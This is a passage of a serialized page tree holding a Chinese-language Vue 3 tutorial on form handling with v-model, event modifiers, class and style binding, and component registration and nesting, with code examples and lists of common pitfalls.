",[136,5872,5873],{"class":232},"return\n",[136,5875,5876],{"class":138,"line":267},[136,5877,5878],{"class":456},"  \u002F\u002F 提交逻辑：这里才真的发请求\n",[136,5880,5881],{"class":138,"line":273},[136,5882,538],{"class":142},[136,5884,5885,5887,5889],{"class":138,"line":289},[136,5886,292],{"class":142},[136,5888,181],{"class":146},[136,5890,166],{"class":142},[136,5892,5893],{"class":138,"line":605},[136,5894,173],{"emptyLinePlaceholder":172},[136,5896,5897,5899,5901],{"class":138,"line":2406},[136,5898,143],{"class":142},[136,5900,371],{"class":146},[136,5902,166],{"class":142},[136,5904,5905,5907,5909,5911,5913,5915],{"class":138,"line":2415},[136,5906,378],{"class":142},[136,5908,2260],{"class":146},[136,5910,2263],{"class":150},[136,5912,154],{"class":142},[136,5914,5182],{"class":157},[136,5916,166],{"class":142},[136,5918,5919,5921,5923,5925,5927,5930,5933,5935,5938],{"class":138,"line":4546},[136,5920,2278],{"class":142},[136,5922,2281],{"class":146},[136,5924,5639],{"class":150},[136,5926,154],{"class":142},[136,5928,5929],{"class":157},"\"form.name\"",[136,5931,5932],{"class":150}," placeholder",[136,5934,154],{"class":142},[136,5936,5937],{"class":157},"\"姓名\"",[136,5939,166],{"class":142},[136,5941,5942,5944,5946,5949,5951,5954,5957,5959,5962,5965,5967],{"class":138,"line":4558},[136,5943,2278],{"class":142},[136,5945,10],{"class":146},[136,5947,5948],{"class":150}," v-if",[136,5950,154],{"class":142},[136,5952,5953],{"class":157},"\"nameErr\"",[136,5955,5956],{"class":150}," class",[136,5958,154],{"class":142},[136,5960,5961],{"class":157},"\"err\"",[136,5963,5964],{"class":142},">{{ nameErr }}\u003C\u002F",[136,5966,10],{"class":146},[136,5968,166],{"class":142},[136,5970,5971,5973,5975,5977,5979,5982,5985,5987,5990,5993,5995,5997,5999,6001,6004],{"class":138,"line":4563},[136,5972,2278],{"class":142},[136,5974,2281],{"class":146},[136,5976,5619],{"class":150},[136,5978,154],{"class":142},[136,5980,5981],{"class":157},"\"form.age\"",[136,5983,5984],{"class":150}," type",[136,5986,154],{"class":142},[136,5988,5989],{"class":157},"\"number\"",[136,5991,5992],{"class":150}," min",[136,5994,154],{"class":142},[136,5996,1762],{"class":157},[136,5998,5932],{"class":150},[136,6000,154],{"class":142},[136,6002,6003],{"class":157},"\"年龄\"",[136,6005,166],{"class":142},[136,6007,6008,6010,6012,6014,6016,6019,6021,6023,6026,6028,6030,6033],{"class":138,"line":4569},[136,6009,2278],{"class":142},[136,6011,2281],{"class":146},[136,6013,151],{"class":150},[136,6015,154],{"class":142},[136,6017,6018],{"class":157},"\"agree\"",[136,6020,2284],{"class":150},[136,6022,154],{"class":142},[136,6024,6025],{"class":157},"\"form.agree\"",[136,6027,5984],{"class":150},[136,6029,154],{"class":142},[136,6031,6032],{"class":157},"\"checkbox\"",[136,6034,166],{"class":142},[136,6036,6037,6039,6042,6045,6047,6049,6052,6054],{"class":138,"line":4585},[136,6038,2278],{"class":142},[136,6040,6041],{"class":146},"label",[136,6043,6044],{"class":150}," for",[136,6046,154],{"class":142},[136,6048,6018],{"class":157},[136,6050,6051],{"class":142},">同意条款\u003C\u002F",[136,6053,6041],{"class":146},[136,6055,166],{"class":142},[136,6057,6058,6060,6062,6064,6066,6068,6071,6073,6076,6079,6081],{"class":138,"line":4591},[136,6059,2278],{"class":142},[136,6061,2238],{"class":146},[136,6063,5984],{"class":150},[136,6065,154],{"class":142},[136,6067,5182],{"class":157},[136,6069,6070],{"class":150}," :disabled",[136,6072,154],{"class":142},[136,6074,6075],{"class":157},"\"!canSubmit\"",[136,6077,6078],{"class":142},">提交\u003C\u002F",[136,6080,2238],{"class":146},[136,6082,166],{"class":142},[136,6084,6086,6088,6090],{"class":138,"line":6085},21,[136,6087,2307],{"class":142},[136,6089,2260],{"class":146},[136,6091,166],{"class":142},[136,6093,6095,6097,6099],{"class":138,"line":6094},22,[136,6096,292],{"class":142},[136,6098,371],{"class":146},[136,6100,166],{"class":142},[10,6102,6103,6104,6116,6117,6119,6120,6123],{},"这段是「入门级表单」的标准形状：",[17,6105,6106,6107,6109,6110,6112,6113],{},"数据源只有一个（",[22,6108,2260],{},"），校验用 ",[22,6111,428],{}," 派生，提交用 ",[22,6114,6115],{},"@submit.prevent","。别在 ",[22,6118,3720],{}," 里再维护一份 ",[22,6121,6122],{},"errors"," 数据，那是「两份状态要对齐」的老问题。",[801,6125],{"height":6126,"src":6127,"title":6128},760,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F06-events-vmodel.html","示例 06：事件修饰符与 v-model 在各控件上的类型",[119,6130,816],{"id":6131},"️-本章的坑-5",[10,6133,6134,6144,6145,6147,6148,6151,6152,1452,6154,849],{},[17,6135,1664,6136,6138,6139,422,6141,849],{},[22,6137,2881],{}," 会忽略控件上写死的 ",[22,6140,5557],{},[22,6142,6143],{},"checked"," Vue 3 明确不允许在 ",[22,6146,2881],{}," 上再用这些属性当初始值——初始值请到绑定的数据里给（",[22,6149,6150],{},"ref('初始')","）。想给 checkbox 绑自定义值用 ",[22,6153,5536],{},[22,6155,5539],{},[10,6157,6158,822,6163,6166,6167,6170,6171,6174,6175,849],{},[17,6159,6160,6161,849],{},"2. 单个 checkbox 上误用 ",[22,6162,5557],{},[22,6164,6165],{},"v-model=\"x\" value=\"A\"","（x 是字符串）不会得到 ",[22,6168,6169],{},"'A'","，会得到布尔值。想收集多选项必须是「数组型 v-model」：",[22,6172,6173],{},"v-model=\"arr\""," + 每个 input 带不同 ",[22,6176,5557],{},[10,6178,6179,6185,6186,6188,6189,6192,6193,6196],{},[17,6180,6181,6182,6184],{},"3. 组件标签上的 ",[22,6183,2881],{}," 默认失效。"," 子组件没声明 ",[22,6187,5478],{}," props 也没 ",[22,6190,6191],{},"emit('update:modelValue')"," 时，输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开（一行 ",[22,6194,6195],{},"defineModel()"," 就能补齐）。",[10,6198,6199,6205,6206,6208,6209,6212,6213,862,6216,6218,6219,849],{},[17,6200,1708,6201,6204],{},[22,6202,6203],{},"@keyup.enter"," 在中文输入法下不准。"," 输入法组合期间的按键事件会被打断，需要「按回车才搜索」的框建议监听 ",[22,6207,5715],{}," 或加 ",[22,6210,6211],{},"@keyup.enter.native"," 时代的替代：直接用 ",[22,6214,6215],{},"@keyup=\"debouncedSearch\"",[22,6217,5711],{}," 组合，或监听 IME 的 ",[22,6220,6221],{},"compositionstart\u002Fend",[10,6223,6224,822,6233,6236,6237,849],{},[17,6225,6226,6227,6229,6230,6232],{},"5. 事件监听器在 ",[22,6228,2849],{}," 上加了修饰符就不能再传 ",[22,6231,5221],{}," 以外的隐式参数。",[22,6234,6235],{},"@click=\"handle('a')\""," 之后想拿事件对象，必须写全 ",[22,6238,6239],{},"@click=\"handle('a', $event)\"",[10,6241,6242,6248,6249,6251,6252,6254],{},[17,6243,6244,6245,6247],{},"6. 复用同一个 ",[22,6246,2881],{}," 到多个控件时小心互相覆盖。"," 一组 radio 共用一个 ",[22,6250,2881],{}," 是对的；两个不同用途的输入框共用一个 ",[22,6253,2881],{}," 就是 bug（会互相打字）。",[10,6256,6257,6266,6267,6270],{},[17,6258,6259,6260,6262,6263,6265],{},"7. ",[22,6261,2881],{}," 配合 ",[22,6264,811],{}," 切换表单块，状态不会自动清。"," DOM 销毁了，数据还在。需要「切步骤就清空」，用 ",[22,6268,6269],{},":key=\"step\""," 强制重建组件，或手动重置。",[10,6272,6273,6283,6284,6287,6288,6291],{},[17,6274,6275,6276,6279,6280,849],{},"8. 表单里的 ",[22,6277,6278],{},"\u003Cbutton>"," 默认是 ",[22,6281,6282],{},"type=\"submit\""," 在 ",[22,6285,6286],{},"\u003Cform>"," 里加个「取消」按钮没写 ",[22,6289,6290],{},"type=\"button\"","，一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。",[119,6293,6295],{"id":6294},"附修饰符速查","附：修饰符速查",[53,6297,6298,6310],{},[56,6299,6300],{},[59,6301,6302,6305,6307],{},[62,6303,6304],{},"类别",[62,6306,1797],{},[62,6308,6309],{},"效果",[72,6311,6312,6325,6338,6349,6368,6389,6401,6432],{},[59,6313,6314,6316,6320],{},[77,6315,2881],{},[77,6317,6318],{},[22,6319,5711],{},[77,6321,6322,6324],{},[22,6323,5715],{}," 事件才同步",[59,6326,6327,6329,6333],{},[77,6328,2881],{},[77,6330,6331],{},[22,6332,5701],{},[77,6334,6335,6336,3039],{},"尝试转数字（空串保持 ",[22,6337,1738],{},[59,6339,6340,6342,6346],{},[77,6341,2881],{},[77,6343,6344],{},[22,6345,5721],{},[77,6347,6348],{},"去首尾空格",[59,6350,6351,6354,6359],{},[77,6352,6353],{},"v-model 参数",[77,6355,6356],{},[22,6357,6358],{},"v-model:title=\"t\"",[77,6360,6361,6362,862,6365,3039],{},"指定组件上的模型名（对应 ",[22,6363,6364],{},"title",[22,6366,6367],{},"update:title",[59,6369,6370,6372,6386],{},[77,6371,1934],{},[77,6373,6374,422,6376,422,6378,422,6380,422,6382,422,6384],{},[22,6375,2622],{},[22,6377,2985],{},[22,6379,2997],{},[22,6381,2734],{},[22,6383,3020],{},[22,6385,3030],{},[77,6387,6388],{},"见上文代码块",[59,6390,6391,6393,6396],{},[77,6392,2962],{},[77,6394,6395],{},"顺序有意义",[77,6397,6398,6400],{},[22,6399,2734],{}," 在前会拦掉后续处理",[59,6402,6403,6406,6429],{},[77,6404,6405],{},"按键",[77,6407,6408,822,6411,822,6413,822,6416,822,6418,822,6420,822,6422,822,6425,822,6427],{},[22,6409,6410],{},".enter",[22,6412,3052],{},[22,6414,6415],{},".delete",[22,6417,3049],{},[22,6419,3055],{},[22,6421,3058],{},[22,6423,6424],{},".down",[22,6426,3069],{},[22,6428,3072],{},[77,6430,6431],{},"别名",[59,6433,6434,6437,6454],{},[77,6435,6436],{},"系统键",[77,6438,6439,822,6442,822,6445,822,6448,862,6451],{},[22,6440,6441],{},".ctrl",[22,6443,6444],{},".shift",[22,6446,6447],{},".alt",[22,6449,6450],{},".meta",[22,6452,6453],{},".exact",[77,6455,6456,6458],{},[22,6457,6453],{}," 表示「只能按这组键」",[35,6460,6462],{"id":6461},"七class-与-style-绑定动态外观的正确写法","七、class 与 style 绑定：动态外观的正确写法",[10,6464,6465],{},"界面状态要反映在样式上（选中项高亮、进度条长度、主题色），靠字符串拼 class 迟早出问题。Vue 给了对象\u002F数组两种结构，让「样式」和「状态」一一对应。",[119,6467,6469],{"id":6468},"class对象语法与数组语法","class：对象语法与数组语法",[127,6471,6473],{"className":129,"code":6472,"language":131,"meta":132,"style":132},"\u003C!-- 对象：键是类名，值是布尔 -->\n\u003Cdiv :class=\"{ active: isActive, 'text-danger': hasError }\">\n\n\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n\u003Cdiv :class=\"classObj\">\n\u003Cscript setup>\nconst classObj = computed(() => ({\n  active: props.isActive,\n  disabled: props.count === 0,\n  'is-large': props.size === 'large'\n}))\n\u003C\u002Fscript>\n\n\u003C!-- 数组：静态类 + 动态类混排 -->\n\u003Cdiv :class=\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\">\n\n\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed -->\n",[22,6474,6475,6480,6495,6499,6504,6519,6529,6547,6552,6565,6578,6583,6591,6595,6600,6615,6619],{"__ignoreMap":132},[136,6476,6477],{"class":138,"line":139},[136,6478,6479],{"class":456},"\u003C!-- 对象：键是类名，值是布尔 -->\n",[136,6481,6482,6484,6486,6488,6490,6493],{"class":138,"line":169},[136,6483,143],{"class":142},[136,6485,147],{"class":146},[136,6487,2324],{"class":150},[136,6489,154],{"class":142},[136,6491,6492],{"class":157},"\"{ active: isActive, 'text-danger': hasError }\"",[136,6494,166],{"class":142},[136,6496,6497],{"class":138,"line":176},[136,6498,173],{"emptyLinePlaceholder":172},[136,6500,6501],{"class":138,"line":199},[136,6502,6503],{"class":456},"\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n",[136,6505,6506,6508,6510,6512,6514,6517],{"class":138,"line":208},[136,6507,143],{"class":142},[136,6509,147],{"class":146},[136,6511,2324],{"class":150},[136,6513,154],{"class":142},[136,6515,6516],{"class":157},"\"classObj\"",[136,6518,166],{"class":142},[136,6520,6521,6523,6525,6527],{"class":138,"line":220},[136,6522,143],{"class":142},[136,6524,181],{"class":146},[136,6526,318],{"class":150},[136,6528,166],{"class":142},[136,6530,6531,6533,6536,6538,6540,6542,6544],{"class":138,"line":229},[136,6532,339],{"class":232},[136,6534,6535],{"class":236}," classObj",[136,6537,240],{"class":232},[136,6539,587],{"class":150},[136,6541,590],{"class":142},[136,6543,593],{"class":232},[136,6545,6546],{"class":142}," ({\n",[136,6548,6549],{"class":138,"line":258},[136,6550,6551],{"class":142},"  active: props.isActive,\n",[136,6553,6554,6557,6560,6563],{"class":138,"line":267},[136,6555,6556],{"class":142},"  disabled: props.count ",[136,6558,6559],{"class":232},"===",[136,6561,6562],{"class":236}," 0",[136,6564,4306],{"class":142},[136,6566,6567,6570,6573,6575],{"class":138,"line":273},[136,6568,6569],{"class":157},"  'is-large'",[136,6571,6572],{"class":142},": props.size ",[136,6574,6559],{"class":232},[136,6576,6577],{"class":157}," 'large'\n",[136,6579,6580],{"class":138,"line":289},[136,6581,6582],{"class":142},"}))\n",[136,6584,6585,6587,6589],{"class":138,"line":605},[136,6586,292],{"class":142},[136,6588,181],{"class":146},[136,6590,166],{"class":142},[136,6592,6593],{"class":138,"line":2406},[136,6594,173],{"emptyLinePlaceholder":172},[136,6596,6597],{"class":138,"line":2415},[136,6598,6599],{"class":456},"\u003C!-- 数组：静态类 + 动态类混排 -->\n",[136,6601,6602,6604,6606,6608,6610,6613],{"class":138,"line":4546},[136,6603,143],{"class":142},[136,6605,147],{"class":146},[136,6607,2324],{"class":150},[136,6609,154],{"class":142},[136,6611,6612],{"class":157},"\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\"",[136,6614,166],{"class":142},[136,6616,6617],{"class":138,"line":4558},[136,6618,173],{"emptyLinePlaceholder":172},[136,6620,6621],{"class":138,"line":4563},[136,6622,6623],{"class":456},"\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed -->\n",[10,6625,6626,6627,6630],{},"含空格或多个类名的键必须加引号（",[22,6628,6629],{},"'text-danger'","），因为它是对象键而不是标识符。",[119,6632,6634],{"id":6633},"style对象数组与-css-变量","style：对象、数组与 CSS 变量",[127,6636,6638],{"className":129,"code":6637,"language":131,"meta":132,"style":132},"\u003Cdiv :style=\"{ width: barWidth + '%' }\">\n\u003Cdiv :style=\"{ color: activeColor, 'font-size': fontSize + 'px' }\">   \u003C!-- 连字符属性要加引号 -->\n\u003Cdiv :style=\"[baseStyle, themeStyle]\">                                \u003C!-- 后者覆盖前者 -->\n\u003Cdiv :style=\"{ '--brand': brandColor }\">                              \u003C!-- CSS 变量 -->\n  \u003Cstyle>.box { border: 3px solid var(--brand); }\u003C\u002Fstyle>\n",[22,6639,6640,6655,6673,6692,6711],{"__ignoreMap":132},[136,6641,6642,6644,6646,6648,6650,6653],{"class":138,"line":139},[136,6643,143],{"class":142},[136,6645,147],{"class":146},[136,6647,2332],{"class":150},[136,6649,154],{"class":142},[136,6651,6652],{"class":157},"\"{ width: barWidth + '%' }\"",[136,6654,166],{"class":142},[136,6656,6657,6659,6661,6663,6665,6668,6670],{"class":138,"line":169},[136,6658,143],{"class":142},[136,6660,147],{"class":146},[136,6662,2332],{"class":150},[136,6664,154],{"class":142},[136,6666,6667],{"class":157},"\"{ color: activeColor, 'font-size': fontSize + 'px' }\"",[136,6669,2400],{"class":142},[136,6671,6672],{"class":456},"\u003C!-- 连字符属性要加引号 -->\n",[136,6674,6675,6677,6679,6681,6683,6686,6689],{"class":138,"line":176},[136,6676,143],{"class":142},[136,6678,147],{"class":146},[136,6680,2332],{"class":150},[136,6682,154],{"class":142},[136,6684,6685],{"class":157},"\"[baseStyle, themeStyle]\"",[136,6687,6688],{"class":142},">                                ",[136,6690,6691],{"class":456},"\u003C!-- 后者覆盖前者 -->\n",[136,6693,6694,6696,6698,6700,6702,6705,6708],{"class":138,"line":199},[136,6695,143],{"class":142},[136,6697,147],{"class":146},[136,6699,2332],{"class":150},[136,6701,154],{"class":142},[136,6703,6704],{"class":157},"\"{ '--brand': brandColor }\"",[136,6706,6707],{"class":142},">                              ",[136,6709,6710],{"class":456},"\u003C!-- CSS 变量 -->\n",[136,6712,6713,6715,6717,6720,6723,6726,6729,6732,6735,6738,6740,6743,6746,6748],{"class":138,"line":208},[136,6714,378],{"class":142},[136,6716,2692],{"class":146},[136,6718,6719],{"class":142},">.box { ",[136,6721,6722],{"class":236},"border",[136,6724,6725],{"class":142},": ",[136,6727,6728],{"class":236},"3",[136,6730,6731],{"class":232},"px",[136,6733,6734],{"class":236}," solid",[136,6736,6737],{"class":236}," var",[136,6739,249],{"class":142},[136,6741,6742],{"class":703},"--brand",[136,6744,6745],{"class":142},"); }\u003C\u002F",[136,6747,2692],{"class":146},[136,6749,166],{"class":142},[10,6751,6752,6753,1072,6756,6759,6760,6763,6764,6767,6768,6771,6772,6775],{},"三个约定：",[17,6754,6755],{},"驼峰与连字符都能写",[22,6757,6758],{},"fontSize"," 或 ",[22,6761,6762],{},"'font-size'","，连字符形式必须加引号）；",[17,6765,6766],{},"多来源合并时数组后面的赢","（所以别把 ",[22,6769,6770],{},"!important"," 当覆盖手段，示例 07 演示了正确做法是调数组顺序）；",[17,6773,6774],{},"给组件库\u002F全局样式传值，CSS 变量是最干净的路","（不必和对方的选择器权重打架）。",[119,6777,6779],{"id":6778},"组件上的-class-落到哪单根继承多根要显式处理","组件上的 class 落到哪：单根继承，多根要显式处理",[127,6781,6783],{"className":129,"code":6782,"language":131,"meta":132,"style":132},"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n\u003Ctag-chip class=\"is-primary\">Vue\u003C\u002Ftag-chip>\n\n\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n\u003Ctwo-root class=\"is-primary\">…\u003C\u002Ftwo-root>\n",[22,6784,6785,6790,6811,6815,6820],{"__ignoreMap":132},[136,6786,6787],{"class":138,"line":139},[136,6788,6789],{"class":456},"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n",[136,6791,6792,6794,6797,6799,6801,6804,6807,6809],{"class":138,"line":169},[136,6793,143],{"class":142},[136,6795,6796],{"class":146},"tag-chip",[136,6798,5956],{"class":150},[136,6800,154],{"class":142},[136,6802,6803],{"class":157},"\"is-primary\"",[136,6805,6806],{"class":142},">Vue\u003C\u002F",[136,6808,6796],{"class":146},[136,6810,166],{"class":142},[136,6812,6813],{"class":138,"line":176},[136,6814,173],{"emptyLinePlaceholder":172},[136,6816,6817],{"class":138,"line":199},[136,6818,6819],{"class":456},"\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n",[136,6821,6822,6824,6827,6829,6831,6833,6836,6838],{"class":138,"line":208},[136,6823,143],{"class":142},[136,6825,6826],{"class":146},"two-root",[136,6828,5956],{"class":150},[136,6830,154],{"class":142},[136,6832,6803],{"class":157},[136,6834,6835],{"class":142},">…\u003C\u002F",[136,6837,6826],{"class":146},[136,6839,166],{"class":142},[10,6841,6842,6843,6846,6847,6850],{},"多根组件要显式接收：",[22,6844,6845],{},"\u003Cdiv v-bind=\"$attrs\">"," 自己决定哪个根拿样式，或者 ",[22,6848,6849],{},"defineOptions({ inheritAttrs: false })"," 后手动分发。示例 07 的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。",[801,6852],{"height":6853,"src":6854,"title":6855},720,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F07-class-style.html","示例 07：动态 class、style 合并与 CSS 变量",[119,6857,816],{"id":6858},"️-本章的坑-6",[10,6860,6861,822,6864,6867,6868,6871,6872,6875,6876,6878,6879,6882],{},[17,6862,6863],{},"1. 字符串拼接 class 会覆盖静态 class。",[22,6865,6866],{},"class=\"btn\" :class=\"dynamicClass\""," 是正确的合并写法；但写成 ",[22,6869,6870],{},":class=\"'btn ' + type\""," 时，一旦 ",[22,6873,6874],{},"type"," 为 ",[22,6877,1734],{}," 就出现 ",[22,6880,6881],{},"btn undefined"," 这个假类名。用对象\u002F数组语法让 Vue 处理合并。",[10,6884,6885,6890,6891,6893,6894,849],{},[17,6886,2645,6887,6889],{},[22,6888,6770],{}," 之后谁也盖不住。"," 内联 ",[22,6892,6770],{}," 的优先级高于任何选择器（包括另一个内联声明）。样式不生效时先搜一遍 ",[22,6895,6770],{},[10,6897,6898,822,6901,6904,6905,6908,6909,849],{},[17,6899,6900],{},"3. 连字符 CSS 属性写在对象里不加引号会报错。",[22,6902,6903],{},":style=\"{ font-size: '14px' }\""," 是非法 JS 对象字面量，必须 ",[22,6906,6907],{},"{'font-size': '14px'}"," 或改成驼峰 ",[22,6910,6758],{},[10,6912,6913,6916,6917,6920,6921,6924],{},[17,6914,6915],{},"4. 同名类冲突：组件内部的 class 会被外部继承进来。"," 单根组件上写 ",[22,6918,6919],{},"class=\"active\"","，若子组件根元素本来也有 ",[22,6922,6923],{},".active"," 样式，两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀（第十八章）。",[10,6926,6927,822,6935,6937,6938,6940,6941,6944,6945,6947],{},[17,6928,1723,6929,634,6931,6934],{},[22,6930,1910],{},[22,6932,6933],{},":style"," 打架。",[22,6936,1910],{}," 靠改 ",[22,6939,2802],{},"，你若同时绑定 ",[22,6942,6943],{},":style=\"{ display: 'flex' }\"","，隐藏后会被重新显示出来。要既隐藏又改 display，用 ",[22,6946,811],{}," 或把 display 也纳入 computed。",[10,6949,6950,822,6953,6956,6957,6960,6961,6964],{},[17,6951,6952],{},"6. transition\u002Fanimation 的类名由 Vue 管理。",[22,6954,6955],{},"\u003CTransition name=\"fade\">"," 需要 ",[22,6958,6959],{},".fade-enter-from"," 等四个类，少写一个（尤其 ",[22,6962,6963],{},"-from","）就没有过渡效果。这是「我的动画怎么不生效」的头号原因（示例见第十四章的 KeepAlive 部分配套说明）。",[10,6966,6967,6970,6971,6974,6975,6978,6979,2708,6981,1442,6984,6987,6988,849],{},[17,6968,6969],{},"7. SVG 元素的 class 与 HTML 不同。"," SVG 上用 ",[22,6972,6973],{},"class"," 绑定没问题，但 ",[22,6976,6977],{},"className"," 相关操作要留意；",[22,6980,2692],{},[22,6982,6983],{},"fill",[22,6985,6986],{},"stroke"," 只能对 SVG 生效。给图标换色推荐 CSS 变量 + ",[22,6989,6990],{},"fill=\"var(--c)\"",[119,6992,6994],{"id":6993},"附动态样式速查","附：动态样式速查",[53,6996,6997,7006],{},[56,6998,6999],{},[59,7000,7001,7003],{},[62,7002,4907],{},[62,7004,7005],{},"推荐写法",[72,7007,7008,7018,7028,7038,7049,7059,7069,7080],{},[59,7009,7010,7013],{},[77,7011,7012],{},"单个开关类",[77,7014,7015],{},[22,7016,7017],{},":class=\"{ active: isActive }\"",[59,7019,7020,7023],{},[77,7021,7022],{},"二选一",[77,7024,7025],{},[22,7026,7027],{},":class=\"ok ? 'ok' : 'no'\"",[59,7029,7030,7033],{},[77,7031,7032],{},"多个类自由组合",[77,7034,7035],{},[22,7036,7037],{},":class=\"[base, { a: condA, b: condB }]\"",[59,7039,7040,7043],{},[77,7041,7042],{},"类多且逻辑复杂",[77,7044,7045,7048],{},[22,7046,7047],{},":class=\"classObj\"","（computed 里算）",[59,7050,7051,7054],{},[77,7052,7053],{},"数值型样式（宽度\u002F高度）",[77,7055,7056],{},[22,7057,7058],{},":style=\"{ width: w + '%' }\"",[59,7060,7061,7064],{},[77,7062,7063],{},"主题色\u002F第三方样式传值",[77,7065,7066],{},[22,7067,7068],{},":style=\"{ '--brand': color }\"",[59,7070,7071,7074],{},[77,7072,7073],{},"多来源样式合并",[77,7075,7076,7079],{},[22,7077,7078],{},":style=\"[base, override]\"","（后者赢）",[59,7081,7082,7085],{},[77,7083,7084],{},"组件外层加样式",[77,7086,7087,7088],{},"单根自动继承；多根用 ",[22,7089,7090],{},"v-bind=\"$attrs\"",[35,7092,7094],{"id":7093},"八组件入门注册嵌套与渲染顺序","八、组件入门：注册、嵌套与渲染顺序",[10,7096,7097,7098,7101],{},"组件就是把界面切成可复用的块：一个组件有模板、有逻辑、有自己的状态。页面上写 ",[22,7099,7100],{},"\u003Cuser-card>","，Vue 负责把对应的组件实例创建出来并管理它的生命周期。",[119,7103,7104],{"id":7104},"一个组件的最小形状",[127,7106,7108],{"className":305,"code":7107,"language":307,"meta":132,"style":132},"\u003C!-- components\u002FUserCard.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst likes = ref(0)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"card\">\n    \u003Cslot \u002F>\n    \u003Cbutton @click=\"likes++\">赞 {{ likes }}\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,7109,7110,7115,7125,7135,7152,7160,7164,7172,7187,7199,7219,7227],{"__ignoreMap":132},[136,7111,7112],{"class":138,"line":139},[136,7113,7114],{"class":456},"\u003C!-- components\u002FUserCard.vue -->\n",[136,7116,7117,7119,7121,7123],{"class":138,"line":169},[136,7118,143],{"class":142},[136,7120,181],{"class":146},[136,7122,318],{"class":150},[136,7124,166],{"class":142},[136,7126,7127,7129,7131,7133],{"class":138,"line":176},[136,7128,325],{"class":232},[136,7130,328],{"class":142},[136,7132,331],{"class":232},[136,7134,334],{"class":157},[136,7136,7137,7139,7142,7144,7146,7148,7150],{"class":138,"line":199},[136,7138,339],{"class":232},[136,7140,7141],{"class":236}," likes",[136,7143,240],{"class":232},[136,7145,346],{"class":150},[136,7147,249],{"class":142},[136,7149,485],{"class":236},[136,7151,255],{"class":142},[136,7153,7154,7156,7158],{"class":138,"line":208},[136,7155,292],{"class":142},[136,7157,181],{"class":146},[136,7159,166],{"class":142},[136,7161,7162],{"class":138,"line":220},[136,7163,173],{"emptyLinePlaceholder":172},[136,7165,7166,7168,7170],{"class":138,"line":229},[136,7167,143],{"class":142},[136,7169,371],{"class":146},[136,7171,166],{"class":142},[136,7173,7174,7176,7178,7180,7182,7185],{"class":138,"line":258},[136,7175,378],{"class":142},[136,7177,147],{"class":146},[136,7179,5956],{"class":150},[136,7181,154],{"class":142},[136,7183,7184],{"class":157},"\"card\"",[136,7186,166],{"class":142},[136,7188,7189,7191,7194,7197],{"class":138,"line":267},[136,7190,2278],{"class":142},[136,7192,7193],{"class":146},"slot",[136,7195,4294],{"class":7196},"s6RL2",[136,7198,166],{"class":142},[136,7200,7201,7203,7205,7207,7209,7212,7215,7217],{"class":138,"line":273},[136,7202,2278],{"class":142},[136,7204,2238],{"class":146},[136,7206,2241],{"class":150},[136,7208,154],{"class":142},[136,7210,7211],{"class":157},"\"likes++\"",[136,7213,7214],{"class":142},">赞 {{ likes }}\u003C\u002F",[136,7216,2238],{"class":146},[136,7218,166],{"class":142},[136,7220,7221,7223,7225],{"class":138,"line":289},[136,7222,2307],{"class":142},[136,7224,147],{"class":146},[136,7226,166],{"class":142},[136,7228,7229,7231,7233],{"class":138,"line":605},[136,7230,292],{"class":142},[136,7232,371],{"class":146},[136,7234,166],{"class":142},[10,7236,7237,7239,7240,7242,7243,7245,7246,849],{},[22,7238,439],{}," 是 Vue 3 的默认写法：顶层 ",[22,7241,325],{}," 的东西、",[22,7244,339],{}," 声明的变量和函数，模板里都能直接用，不需要 ",[22,7247,479],{},[119,7249,7251],{"id":7250},"注册全局与局部","注册：全局与局部",[53,7253,7254,7266],{},[56,7255,7256],{},[59,7257,7258,7261,7264],{},[62,7259,7260],{},"方式",[62,7262,7263],{},"代码",[62,7265,70],{},[72,7267,7268,7284,7297,7310],{},[59,7269,7270,7273,7281],{},[77,7271,7272],{},"单文件组件引入（推荐）",[77,7274,7275,1072,7278,7280],{},[22,7276,7277],{},"import UserCard from '@\u002Fcomponents\u002FUserCard.vue'",[22,7279,439],{}," 里 import 即可用）",[77,7282,7283],{},"一切项目",[59,7285,7286,7289,7294],{},[77,7287,7288],{},"全局注册",[77,7290,7291],{},[22,7292,7293],{},"app.component('UserCard', UserCard)",[77,7295,7296],{},"全站通用的小组件（图标、按钮），代价是失去 tree-shaking",[59,7298,7299,7302,7307],{},[77,7300,7301],{},"组件内选项注册",[77,7303,7304],{},[22,7305,7306],{},"components: { UserCard }",[77,7308,7309],{},"选项式老代码",[59,7311,7312,7315,7320],{},[77,7313,7314],{},"异步注册",[77,7316,7317],{},[22,7318,7319],{},"defineAsyncComponent(() => import('...'))",[77,7321,7322],{},"体积大、非首屏的组件（第十四章）",[10,7324,7325,7326,7329,7330,7332],{},"全局注册有个隐藏代价：",[17,7327,7328],{},"打包时无法摇树","，哪怕某个页面用不到也会被带上；所以主流做法是「按需 import + ",[22,7331,439],{},"」，只把图标、按钮这类真正的全局件放插件里注册。",[119,7334,7335],{"id":7335},"嵌套与渲染顺序",[127,7337,7339],{"className":305,"code":7338,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport Panel from '.\u002FPanel.vue'\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cdiv class=\"page\">\n    \u003CPanel title=\"第一块\">内容 A\u003C\u002FPanel>\n    \u003CPanel title=\"第二块\">内容 B\u003C\u002FPanel>\n  